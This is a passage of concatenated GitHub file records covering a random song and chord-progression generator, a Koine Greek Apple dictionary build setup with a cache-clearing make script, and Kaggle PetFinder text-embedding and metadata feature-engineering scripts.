new_scale = \"major\"\n else:\n keys = mus.MINOR_KEYS\n new_scale = \"minor\"\n elif self.scale == \"minor\":\n index = mus.MINOR_KEYS.index(self.key)\n if change_scale == False:\n keys = mus.MINOR_KEYS\n new_scale = \"minor\"\n else:\n keys = mus.MAJOR_KEYS\n new_scale = \"major\"\n else:\n return None\n index = (index + semitones) % 12\n new_key = keys[index]\n return Key(new_scale, new_key)\n \n def generate_modulation(self):\n mod_type = random.choice(formula.MODULATION_FREQ)\n if mod_type == \"relative\" and self.scale == \"major\":\n mod_type = \"relative_minor\"\n elif mod_type == \"relative\" and self.scale == \"minor\":\n mod_type = \"relative_major\"\n return self.modulate_key(\n mus.MODULATION_DESC[mod_type][\"semitones\"],\n mus.MODULATION_DESC[mod_type][\"change_scale\"]\n )\n \n def get_chord_note(self, chord):\n interval = mus.CHORD_DETAILS[chord][\"interval\"]\n if self.scale == \"major\":\n semitones = sum(mus.MAJOR_SCALE_INTERVALS[:interval])\n elif self.scale == \"minor\":\n semitones = sum(mus.MINOR_SCALE_INTERVALS[:interval])\n else:\n return None\n\n type = self.get_type()\n if type in [\"sharp\" ,\"none\"]:\n notes = mus.NOTES_SHARP\n elif type == \"flat\":\n notes = mus.NOTES_FLAT\n else:\n return None\n\n index = notes.index(self.key)\n note = notes[(index + semitones) % 12]\n return note\n\n def get_chord_type(self, chord):\n return mus.CHORD_DETAILS[chord][\"type\"]\n\n def get_chord(self, chord):\n return self.get_chord_note(chord) + self.get_chord_type(chord)\n\n def __str__(self):\n return \"{0} {1}\".format(self.key, self.scale)\n\n\nclass Progression:\n\n def __init__(self, scale):\n bars = self.generate_number_of_bars()\n self.chords_per_bar = self.generate_chords_per_bar(bars)\n if scale == \"major\":\n chain = formula.MAJOR_CHAIN\n elif scale == \"minor\":\n chain = formula.MINOR_CHAIN\n # TODO else?\n progression = self.generate_progression(chain, sum(self.chords_per_bar))\n self.progression = self.group_progression_into_bars(progression)\n \n def generate_number_of_bars(self):\n return random.choice(formula.NUM_BARS_FREQ)\n\n def generate_chords_per_bar(self, number_of_bars):\n chord_list = []\n for i in xrange(number_of_bars):\n chord_list.append(\n random.choice(formula.CHORDS_PER_BAR_FREQ))\n return chord_list\n\n def generate_progression(self, chain, length):\n progression = []\n prev = \"start\"\n for i in xrange(length):\n try:\n if i == length - 1 and len(progression) > 0:\n if progression[0] in [\"I\", \"i\"]:\n prev = \"end_I\"\n else:\n prev = \"end_other\"\n choice = random.randint(1, sum(chain[prev].values()))\n cumulative = 0\n for item, chance in sorted(chain[prev].items()):\n cumulative += chance\n if choice <= cumulative:\n progression.append(item)\n prev = item\n break\n except KeyError:\n print \"KEYERROR: CHORD\"\n break\n return progression\n\n def group_progression_into_bars(self, progression):\n grouped_progression = []\n i = 0\n for chords in self.chords_per_bar:\n grouped_progression.append(progression[i:chords + i])\n i += chords\n return grouped_progression\n\n def get_num_of_bars(self):\n return len(self.progression)\n\n def __str__(self):\n bars = [\" \".join(bar) for bar in self.progression]\n return \"║: {0} :║\".format(\" | \".join(bars))\n\nclass Section:\n\n def __init__(self, name, song_key, song_time_sig, song_bpm):\n self.name = name\n self.time_signature = song_time_sig\n self.bpm = song_bpm\n self.key = song_key.generate_modulation()\n self.progression = Progression(self.key.scale)\n self.repeats = self.generate_repeats(len(self.progression.progression))\n\n def generate_repeats(self, bars_per_progression):\n repeat_base = random.choice(formula.REPEAT_BASE_FREQ)\n\n if 54 <= self.bpm < 84:\n repeat_modifier = random.choice(formula.REPEAT_SLOW_MOD_FREQ)\n elif 84 <= self.bpm < 100:\n repeat_modifier = random.choice(formula.REPEAT_MODERATE_SLOW_MOD_FREQ)\n elif 100 <= self.bpm < 116:\n repeat_modifier = random.choice(formula.REPEAT_MODERATE_MOD_FREQ)\n elif 116 <= self.bpm < 141:\n repeat_modifier = random.choice(formula.REPEAT_FAST_MOD_FREQ)\n else:\n repeat_modifier = 0\n\n repeats = (repeat_base + repeat_modifier) / bars_per_progression \n if repeats == 0:\n return 1\n else:\n return repeats\n\n def get_progression_in_key(self):\n return [[self.key.get_chord(c) for c in bar] for bar in self.progression.progression]\n\n def get_seconds(self):\n beats = self.progression.get_num_of_bars() * self.time_signature * self.repeats\n seconds = round((beats * 60) / float(self.bpm))\n return seconds\n\n def __str__(self):\n bars = [\" \".join(bar) for bar in self.get_progression_in_key()]\n return \"{0}: ({1}) ║: {2} :║ x {3}\".format(self.name, self.key, \" | \".join(bars), self.repeats)\n\n\nclass Song:\n\n def __init__(self):\n self.time_signature = self.generate_time_signature()\n self.bpm = self.generate_bpm()\n self.key = Key()\n length = self.generate_number_of_sections()\n self.structure = self.generate_structure(length)\n\n self.sections = {}\n for i in range(self.get_structure_depth()):\n letter = (list(string.ascii_uppercase)[i])\n self.sections[letter] = Section(letter, self.key, self.time_signature, self.bpm)\n self.overall_sections = [self.sections[letter] for letter in self.structure]\n\n ## Time ##\n\n def generate_time_signature(self):\n return random.choice(formula.TIME_SIG_FREQ) # assumed to be in quarter notes\n \n def generate_bpm(self):\n return int(random.triangular(*formula.BPM_TRIANGLE))\n \n def get_tempo(self):\n if 54 <= self.bpm < 65:\n return \"Adagio\"\n elif 65 <= self.bpm < 75:\n return \"Adagietto\"\n elif 75 <= self.bpm < 84:\n return \"Andantino\"\n elif 84 <= self.bpm < 90:\n return \"Andante\"\n elif 90 <= self.bpm < 100:\n return \"Andante Moderato\"\n elif 100 <= self.bpm < 112:\n return \"Moderato\"\n elif 112 <= self.bpm < 116:\n return \"Allegro Moderato\"\n elif 116 <= self.bpm < 141:\n return \"Allegro\"\n else:\n return None\n\n def get_tempo_desc(self):\n return \"{0} bpm: {1}\".format(self.bpm, self.get_tempo())\n\n ## Structure ##\n\n def generate_number_of_sections(self):\n return random.choice(formula.NUM_SECTIONS_FREQ)\n\n def generate_structure(self, length):\n chain = formula.STRUCTURE_CHAIN\n structure = []\n depth = 1\n prev = \"A\"\n structure.append(prev)\n for i in range(length):\n try:\n choice = random.randint(1, sum(chain[prev].values()[:depth + 1]))\n cumulative = 0\n for item, chance in sorted(chain[prev].items()):\n cumulative += chance\n if choice <= cumulative:\n if sorted(chain[prev]).index(item) == depth:\n depth += 1\n structure.append(item)\n prev = item\n break\n except KeyError:\n print \"KEYERROR: STRUCTURE\"\n break\n return structure\n \n def get_structure_depth(self):\n depth = 0\n for letter in list(string.ascii_uppercase):\n if letter in self.structure:\n depth += 1\n else:\n break\n return depth\n\n def get_duration(self):\n total_seconds = 0\n for sect in self.overall_sections:\n total_seconds += sect.get_seconds()\n seconds = int(round(total_seconds)) % 60\n minutes = int(round(total_seconds)) / 60\n return \"{:0>2d}:{:0>2d}\".format(minutes, seconds)\n\n def __str__(self):\n string = str(self.key) + \"\\n\" + self.get_tempo_desc()\n for sect in self.overall_sections:\n string += \"\\n\" + str(sect)\n string += \"\\n\" + self.get_duration()\n return string\n\n\nif __name__ == \"__main__\":\n song = Song()\n print song\n" }, { "alpha_fraction": 0.725517213344574, "alphanum_fraction": 0.7342528700828552, "avg_line_length": 27.233766555786133, "blob_id": "126917c386e376e1e96d2e959fe8ee1caa271663", "content_id": "bfe05e05fb52535d5c2a338b08e90df62b4dc34a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2177, "license_type": "no_license", "max_line_length": 135, "num_lines": 77, "path": "/modulation.md", "repo_name": "aeudet/auto-composter", "src_encoding": "UTF-8", "text": "- Home key set at start\n\nWHEN TO MODULATE CHECK:\n- Modulation check for each letter (A,B,C,D,etc) Will effect every application of letter.\n\t- if yes, modulation every instance of letter in relation to home key\n\t- 1 in 8 chance to modulate on letter\n\t- Determine type of modulation\n\t- parallel key modulation\n\t- relative key modulation\n\t- neighbour key modulation\n\t- near key \\ foreign key modulation\n\n\n- Modulation check for each instance of letter\n\t\n\t- Truck driver modulation\n\t- Shift up or down a certain amount of semitones\n\t- 1 in 20 chance modulation\n\t- markov chain check for odds update and type \n\n\nTYPES of Modulation:\n\n- PARALLEL KEY MODULATION\n\t- Shift Major/Minor key on same tonic root\n\t- May require last chord of previous to be set to a pivot chord. Pivot chord may be tacked on at end of progression. (ii - IV :| V :|)\n\n\n- RELATIVE KEY MODULATION\n\t- Shift from Major to Minor, or vice versa to the relative key of opposite mode. \n\t- For Major key, take tonic and move down 3 semi-tones. For Minor, take root and move up 3 semi-tones. \n\t- The vi in major is tonic in relative minor\n\t- Use pre-tonic (V, IV, ii) chord to get back to Major from Minor\n\n- NEIGHBOUR KEY MODULATION\n\t- Shift to keys next to home key in circle of fifths.\n\t- VARIANT: Shift to neighbour and change mode\n\n- Near-Key Modulation\n\t- Shift from home key to key 2 steps in either direction away in circle of fiths\n\t- Shift from home key to key 3 steps in either direction away in circle of fifths\n\n\n- Foreign-Key Modulation\n\t- Shift to random key.\n\n- KEY SHIFT or Truck Driver (half or whole step up or down)\n\n\nEnd chord of previous section may have to be altered to a pivot chord in case of modulation\n\n\n\n\n\n\nModulation Types:\n\n+1 (half-step up)\n-1 (half-step down)\n\n+2 (whole-step up)\n-2 (whole-step down)\n\n-3 (major to minor) check key state\n+3 (minor to major) check key state\n\n±3 to ±11\n\n\n\nPIVOT CHORDS\n\n- Check if secton modulates. If yes, add pivot chords at end of progression.\n- ALT: if section is only played once, replace last chord of progression\n- Check the type of modulation used. Each section has it's own pool of pivot chords\n- Print pivot chords as ||: I | IV :| V :|| x5\n\n" }, { "alpha_fraction": 0.7122302055358887, "alphanum_fraction": 0.7122302055358887, "avg_line_length": 40.70000076293945, "blob_id": "b5808ce23c0f6d23a0dfe16ebca2f15473928ee4", "content_id": "c51fedd9adca3bbcad2547860a74dae83e1ff725", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 417, "license_type": "no_license", "max_line_length": 104, "num_lines": 10, "path": "/Task_List.md", "repo_name": "aeudet/auto-composter", "src_encoding": "UTF-8", "text": "### Task List\n\n- [x] Alter final chord for better musical resolution\n- [x] Make Major mode more common than Minor mode\n- [ ] Add meter\n- [x] Add weird chords with appropriate odds\n- [ ] Incorporate modulation\n- [ ] Fix case where generated penultimate chord is a \"v\" or \"V\" and the last chord is also a \"v\" or \"V\"\n- [ ] Display actual chord notes alongside roman symbols\n- [ ] Splice bridge sections into structure.'\n" } ]
6
zdettwiler/koine-greek-dictionary
https://github.com/zdettwiler/koine-greek-dictionary
6c406bf0e5ac59ccc6e23330b1e69b10e073ea9d
d17c8d828a8a89b598193280600334d12e842914
c5935eac8b023d110659db6b53a039e4c62418f7
refs/heads/master
2022-07-14T01:15:09.666985
2020-02-09T13:09:58
2020-02-09T13:09:58
239,307,293
0
0
null
2020-02-09T13:14:45
2020-02-09T13:16:02
2022-06-22T01:05:12
Rich Text Format
[ { "alpha_fraction": 0.44594594836235046, "alphanum_fraction": 0.6711711883544922, "avg_line_length": 14.857142448425293, "blob_id": "719f6b31089b797f831a79fe6b339f3eb1766743", "content_id": "d87d3909ea28ddb9bca07ad6c203188b22e6c512", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 222, "license_type": "no_license", "max_line_length": 24, "num_lines": 14, "path": "/requirements.txt", "repo_name": "zdettwiler/koine-greek-dictionary", "src_encoding": "UTF-8", "text": "astroid==2.3.3\nisort==4.3.21\nJinja2==2.11.1\nlazy-object-proxy==1.4.3\nMarkupSafe==1.1.1\nmccabe==0.6.1\nnumpy==1.18.1\npandas==1.0.1\npylint==2.4.4\npython-dateutil==2.8.1\npytz==2019.3\nsix==1.14.0\ntyped-ast==1.4.1\nwrapt==1.11.2\n" }, { "alpha_fraction": 0.7995867729187012, "alphanum_fraction": 0.8016529083251953, "avg_line_length": 29.3125, "blob_id": "675ed60bce44ddb2f6c090707a4eb98adeac3aeb", "content_id": "fe93ac32a9740f25169a8a4bbd8577bbb1daa196", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 484, "license_type": "no_license", "max_line_length": 63, "num_lines": 16, "path": "/make.sh", "repo_name": "zdettwiler/koine-greek-dictionary", "src_encoding": "UTF-8", "text": "# Script to generate, make and install dictionary\n\n# clean cache\nrm -rf ~/Library/Preferences/com.apple.DictionaryServices.plist\nrm -rf ~/Library/Preferences/com.apple.Dictionary.plist\nrm -rf ~/Library/Caches/com.apple.DictionaryApp\nrm -rf ~/Library/Caches/com.apple.DictionaryManager\nrm -rf ~/Library/Caches/com.apple.Dictionary\nrm -rf ~/Library/Caches/com.apple.DictionaryServices\n\n# generate dictionary\npython3 koine_greek_dictionary/ingest.py\n\n# make and install\nmake\nmake install" }, { "alpha_fraction": 0.620838463306427, "alphanum_fraction": 0.6270036697387695, "avg_line_length": 30.211538314819336, "blob_id": "2d6e9cc36c5a2bc6b76467bd7b4a83501780cb85", "content_id": "2275f653518ad4e6a114f45e3346e53dae8a47cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1622, "license_type": "no_license", "max_line_length": 102, "num_lines": 52, "path": "/koine_greek_dictionary/ingest.py", "repo_name": "zdettwiler/koine-greek-dictionary", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\nimport re\n\n\ndef clean_meaning(meaning, strong):\n # remove <a href=\"javascript:void(0)\" etc. >\n clean = re.sub(r\"<a href=\\\"javascript:void\\(0\\)\\\" title=\\\"([^\\\"]+)\\\"[^<]+<\\/a>\", r\"\\g<1>\", meaning)\n\n # remove <ref> and only keep reference\n clean = re.sub(r\"<ref='[^']+'>([^<]+)</ref>\", r\"\\g<1>\", clean)\n\n # remove <hi rend=\"subscript\"> and <hi rend=\"sub\">\n clean = clean.replace('<hi rend=\"subscript\">', '').replace('<hi rend=\"sub\">', '')\n \n # remove <ref osisRef=\"xxx\">\n clean = re.sub(r\"<ref osisRef=\\\".*\\\">\", r\"\", clean)\n \n # find unclosed <i> tags\n found = re.findall(r\"<\\/?i>\", clean)\n if len(found) % 2 != 0:\n print('<i>', strong)\n\n # find unclosed <i> tags\n found = re.findall(r\"<\\/?b>\", clean)\n if len(found) % 2 != 0:\n print('<b>', strong)\n\n # remove <foreign xml:lang=\"grc\">\n clean = clean.replace(\"<foreign xml:lang=\\\"grc\\\">\", '')\n\n # remove <Lat> and </Lat>\n clean = clean.replace(\"<Lat>\", '').replace(\"</Lat>\", '')\n\n return clean\n\nenv = Environment(\n loader=FileSystemLoader('koine_greek_dictionary/'),\n # autoescape=select_autoescape(['html', 'xml'])\n)\n\ntemplate = env.get_template('entry_template.xml')\n\nlexicon = pd.read_csv('koine_greek_dictionary/lexicon.tsv', sep='\\t')#.head()\n\nlexicon['Meaning'] = lexicon.apply(lambda row: clean_meaning(row['Meaning'], row['EStrong#']), axis=1)\n\ndictionary = template.render(words=lexicon.to_dict('records'))\n\nwith open(\"koine_greek_dictionary/KoineGreekDictionary.xml\", \"w\") as fh:\n print('writing to KoineGreekDictionary.xml')\n fh.write(dictionary)" }, { "alpha_fraction": 0.762841522693634, "alphanum_fraction": 0.7683060169219971, "avg_line_length": 37.16666793823242, "blob_id": "b2473262b3ae0bc258e2ff0f2462e64f0de841f2", "content_id": "d5a2d07f2a6a6457f1cc9d0ed23bd445733a8fbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 915, "license_type": "no_license", "max_line_length": 197, "num_lines": 24, "path": "/README.md", "repo_name": "zdettwiler/koine-greek-dictionary", "src_encoding": "UTF-8", "text": "# Koine Greek Apple Dictionary :book:\n_Last built on 9th February 2020_\n\n**To do:**\n- [ ] some styling\n- [ ] duplicate index issue\n\n## Installation\nYou only need the `Koine Greek Dictionary.dictionary` file. Place it in `~/Library/Dictionaries`.\n\nIf you wish to rebuild the dictionary, run the following commands which will install the dictionary in the aforementionned location. `koine_greek_dictionary/ingest.py` does some data cleaning work.\n\n[You may need to install XCode Tools. I don't remember how I did this... Google and StackOverflow were faithful friends]\n\n```shell\nsource venv/bin/activate\npip install -r requirements\n./make.sh\n```\n\n## Credits\nLexicon from https://github.com/tyndale/STEPBible-Data by [Tyndale House, Cambridge](https://www.TyndaleHouse.com) and its [STEP Bible](https://www.STEPBible.org).\n\nDictionary Development Kit from https://github.com/SebastianSzturo/Dictionary-Development-Kit." } ]
4
sunilsharma07/pet_finder
https://github.com/sunilsharma07/pet_finder
283dc54567a1aff4030ae0ccc7d43f1121644bdb
380e4f19172e06e92b5b752f59e2902efa6aee1f
8956fd73d3b333999d78ddb8185fc4eecd9ad9cc
refs/heads/master
2022-10-23T18:10:30.839777
2020-06-15T07:18:02
2020-06-15T07:18:02
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6087278127670288, "alphanum_fraction": 0.61834317445755, "avg_line_length": 42.64516067504883, "blob_id": "b466bfb4cab33a1499f4af9efc53c01eee46f5de", "content_id": "e5da6cfac3c8425a1c4dc45831b9c8f282edb715", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1352, "license_type": "permissive", "max_line_length": 115, "num_lines": 31, "path": "/code/fe/1state_info.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\ndef merge_state_info(labels_state, all_data):\n labels_state.rename(columns={'StateID': 'State'}, inplace=True)\n all_data_state = pd.merge(all_data, labels_state, on='State', how=\"left\")\n\n state_info = pd.read_csv('../../input/state_info/state_info.csv')\n state_info.rename(columns={\n \"Area (km2)\": \"Area\",\n \"Pop. density\": \"Pop_density\",\n \"Urban pop.(%)\": \"Urban_pop\",\n \"Bumiputra (%)\": \"Bumiputra\",\n \"Chinese (%)\": \"Chinese\",\n \"Indian (%)\": \"Indian\"\n }, inplace=True)\n for key in [\"Population\", \"Area\", \"Pop_density\", \"2017GDPperCapita\"]:\n state_info[key] = state_info[key].fillna(\"-999\").str.replace(\",\", \"\").astype(\"int32\").replace(-999, np.nan)\n state_info[\"StateName\"] = state_info[\"StateName\"].str.replace(\"FT \", \"\")\n state_info[\"StateName\"] = state_info[\"StateName\"].str.replace(\"Malacca\", \"Melaka\")\n state_info[\"StateName\"] = state_info[\"StateName\"].str.replace(\"Penang\", \"Pulau Pinang\")\n new_cols = list(state_info.columns)\n new_cols.remove(\"StateName\")\n all_data_state = pd.merge(all_data_state, state_info, on='StateName', how=\"left\")\n\n return all_data_state[['PetID'] + new_cols]\n\n\nif __name__ == \"__main__\":\n all_data_state = merge_state_info(labels_state, train)\n all_data_state.to_feather(\"../feature/state_info.feather\")" }, { "alpha_fraction": 0.5661240816116333, "alphanum_fraction": 0.6027466654777527, "avg_line_length": 31.78333282470703, "blob_id": "1ffd2e30e36604d134ca7cd8313ea2fed1317a59", "content_id": "3b4447adfeb45371cc34ace7f5bbdcf7da64e37f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1966, "license_type": "permissive", "max_line_length": 81, "num_lines": 60, "path": "/code/fe/19gensim_glove_finetune.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import codecs\nfrom os.path import join\nfrom gensim.models import KeyedVectors\nfrom gensim.scripts.glove2word2vec import glove2word2vec\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef w2v(train_text, w2v_params):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n glove_file = '../../input/glove.840B.300d/glove.840B.300d.txt'\n tmp_file = \"../../input/glove.840B.300d/test_word2vec.txt\"\n _ = glove2word2vec(glove_file, tmp_file)\n model = KeyedVectors.load_word2vec_format(tmp_file)\n\n model2 = word2vec.Word2Vec(**w2v_params)\n model2.build_vocab(train_corpus)\n total_examples = model2.corpus_count\n model2.build_vocab([list(model.vocab.keys())], update=True)\n with codecs.open(tmp_file, \"r\", \"Shift-JIS\", \"ignore\") as file:\n model2.intersect_word2vec_format(file, binary=True, lockf=1.0)\n model2.train(train_corpus, total_examples=total_examples, epochs=model2.iter)\n with codecs.open(tmp_file, \"r\", \"Shift-JIS\", \"ignore\") as file:\n model2.intersect_word2vec_format(file, binary=True, lockf=1.0)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n for n_w, word in enumerate(text):\n try:\n vec_ = model.wv[word]\n except:\n n_skip += 1\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"glove_finetune{}\".format(i) for i in range(1, 300 + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n w2v_params = {\n \"size\": 300,\n \"window\": 5,\n \"max_vocab_size\": 20000,\n \"seed\": 0,\n \"min_count\": 10,\n \"workers\": 1\n }\n result = w2v(train[\"Description\"], w2v_params)\n result.to_feather(\"../feature/glove_finetune.feather\")" }, { "alpha_fraction": 0.5033556818962097, "alphanum_fraction": 0.5302013158798218, "avg_line_length": 24.934782028198242, "blob_id": "3ec320bdac53c790fbe67b8b97ec1385bae1483f", "content_id": "83a16c5dc563343e2b3d9d61baad249e1c49791a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1192, "license_type": "permissive", "max_line_length": 75, "num_lines": 46, "path": "/code/fe/12word2vec.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from os.path import join\nfrom gensim.models import word2vec\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef w2v(train_text, w2v_params):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n model = word2vec.Word2Vec(train_corpus, **w2v_params)\n model.save(\"model.model\")\n\n result = []\n for text in train_corpus:\n n_skip = 0\n for n_w, word in enumerate(text):\n try:\n vec_ = model.wv[word]\n except:\n n_skip += 1\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"wv{}\".format(i) for i in range(1, w2v_params[\"size\"] + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n w2v_params = {\n \"size\": 200,\n \"window\": 5,\n \"max_vocab_size\": 20000,\n \"seed\": 0,\n \"min_count\": 10,\n \"workers\": 1\n }\n result = w2v(train[\"Description\"], w2v_params)\n result.to_feather(\"../feature/w2v.feather\")" }, { "alpha_fraction": 0.6024702787399292, "alphanum_fraction": 0.6308325529098511, "avg_line_length": 36.7068977355957, "blob_id": "1855d73b992342d38bae3cb2840b04899707baa2", "content_id": "964935aeed5053ad632334d40ac742669c03090a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2186, "license_type": "permissive", "max_line_length": 83, "num_lines": 58, "path": "/code/fe/27pymagnitude_embedding.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from os.path import join\nfrom pymagnitude import *\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef w2v_pymagnitude(train_text, path, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n model = Magnitude(path)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n vec = np.zeros(model.dim)\n for n_w, word in enumerate(text):\n try:\n vec_ = model.query(word)\n except:\n n_skip += 1\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"{}_mag{}\".format(name, i) for i in range(1, model.dim + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n path = \"../../input/pymagnitude_data/glove.840B.300d.magnitude\"\n result = w2v_pymagnitude(train[\"Description\"], path, name=\"glove\")\n result.to_feather(\"../feature/glove_mag.feather\")\n\n path = \"../../input/pymagnitude_data/wiki-news-300d-1M-subword.magnitude\"\n result = w2v_pymagnitude(train[\"Description\"], path, name=\"fasttext_light\")\n result.to_feather(\"../feature/fasttext_light_mag.feather\")\n\n path = \"../../input/pymagnitude_data/wiki-news-300d-1M-subword.magnitude\"\n result = w2v_pymagnitude(train[\"Description\"], path, name=\"fasttext_light\")\n result.to_feather(\"../feature/fasttext_light_mag.feather\")\n\n path = \"../pymag/glove.6B.300d_wiki_light.magnitude\"\n result = w2v_pymagnitude(train[\"Description\"], path, name=\"glove_wiki_light\")\n result.to_feather(\"../features/glove_wiki_light_mag.feather\")\n\n path = \"../pymag/glove.6B.300d_wiki_light.magnitude\"\n result = w2v_pymagnitude(train[\"Description\"], path, name=\"glove_wiki_light\")\n result.to_feather(\"../features/glove_wiki_light_mag.feather\")\n\n path = \"../pymag/elmo_2x4096_512_2048cnn_2xhighway_weights_3072light.magnitude\"\n result = w2v_pymagnitude(train[\"Description\"], path, name=\"elmo3072_light\")\n result.to_feather(\"../features/elmo3072_light_mag.feather\")" }, { "alpha_fraction": 0.5015576481819153, "alphanum_fraction": 0.5175790190696716, "avg_line_length": 26.414634704589844, "blob_id": "50d770cb4da4e3375a197f64bd892c7c1cae151b", "content_id": "38e722504b26f3d35e73267f56d6725e68719272", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2253, "license_type": "permissive", "max_line_length": 75, "num_lines": 82, "path": "/code/fe/49word2vec_mincount1.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\nimport jieba, sys\n\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\n\nen_stopwords = stopwords.words('english')\nnon_bmp_map = dict.fromkeys(range(0x10000, sys.maxunicode + 1), ' ')\n\n\ndef preprocess_text(text,\n filters='!\"#$%&()*+,-.。 /:;<=>?@[\\\\]^_`{|}~\\t\\n',\n split=' ',\n lower=True,\n remove_stopwords=False,\n remove_non_ascii=False,\n remove_emoji=False):\n if lower:\n text = text.lower()\n if remove_non_ascii:\n pattern = re.compile('[^(?u)\\w\\s]+')\n text = re.sub(pattern, '', text)\n if remove_stopwords:\n text = ' '.join([w for w in text.split() if not w in en_stopwords])\n if remove_emoji:\n text = text.translate(non_bmp_map)\n\n maketrans = str.maketrans\n translate_map = maketrans(filters, split * len(filters))\n text = text.translate(translate_map)\n text = text.replace(\"'\", \" ' \")\n\n if len(text) == 0:\n text = ' '\n\n # split\n kanji = re.compile('[一-龥]')\n if re.search(kanji, text):\n return [word for word in jieba.cut(text) if word != ' ']\n else:\n return text.split(split)\n\n\ndef w2v(train_corpus, w2v_params):\n model = word2vec.Word2Vec(train_corpus, **w2v_params)\n model.save(\"model.model\")\n\n result = []\n for text in train_corpus:\n n_skip = 0\n for n_w, word in enumerate(text):\n try:\n vec_ = model.wv[word]\n except:\n n_skip += 1\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"wv{}\".format(i) for i in range(1, w2v_params[\"size\"] + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n w2v_params = {\n \"size\": 300,\n \"iter\": 5,\n \"seed\": 0,\n \"min_count\": 1,\n \"workers\": 1\n }\n train[\"Description_Emb2\"] = train[\"Description\"].apply(preprocess_text)\n result = w2v(train[\"Description_Emb2\"], w2v_params)\n result.to_feather(\"../feature/w2v_v2.feather\")" }, { "alpha_fraction": 0.6115051507949829, "alphanum_fraction": 0.6136440634727478, "avg_line_length": 45.27083206176758, "blob_id": "c7584a7e92140ce5b867e9b94fa6828dfb03e34b", "content_id": "58f968ad8da64873e5c6296fe79c1038caabaa85", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8883, "license_type": "permissive", "max_line_length": 117, "num_lines": 192, "path": "/code/fe/35kernel_text.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\nclass MetaDataParser(object):\n def __init__(self):\n # sentiment files\n train_sentiment_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/train_sentiment/*.json'))\n test_sentiment_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/test_sentiment/*.json'))\n sentiment_files = train_sentiment_files + test_sentiment_files\n self.sentiment_files = pd.DataFrame(sentiment_files, columns=['sentiment_filename'])\n self.sentiment_files['PetID'] = self.sentiment_files['sentiment_filename'].apply(\n lambda x: x.split('/')[-1].split('.')[0])\n\n # metadata files\n train_metadata_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/train_metadata/*.json'))\n test_metadata_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/test_metadata/*.json'))\n metadata_files = train_metadata_files + test_metadata_files\n self.metadata_files = pd.DataFrame(metadata_files, columns=['metadata_filename'])\n self.metadata_files['PetID'] = self.metadata_files['metadata_filename'].apply(\n lambda x: x.split('/')[-1].split('-')[0])\n\n def open_json_file(self, filename):\n with open(filename, 'r', encoding=\"utf-8\") as f:\n metadata_file = json.load(f)\n return metadata_file\n\n def get_stats(self, array, name):\n stats = [np.mean, np.max, np.min, np.sum]\n result = {}\n if len(array):\n for stat in stats:\n result[name + '_' + stat.__name__] = stat(array)\n else:\n for stat in stats:\n result[name + '_' + stat.__name__] = 0\n return result\n\n def parse_sentiment_file(self, file):\n file_sentiment = file['documentSentiment']\n file_entities = [x['name'] for x in file['entities']]\n file_entities = ' '.join(file_entities)\n\n file_sentences_text = [x['text']['content'] for x in file['sentences']]\n file_sentences_text = ' '.join(file_sentences_text)\n file_sentences_sentiment = [x['sentiment'] for x in file['sentences']]\n\n file_sentences_sentiment = pd.DataFrame.from_dict(\n file_sentences_sentiment, orient='columns').sum()\n file_sentences_sentiment = 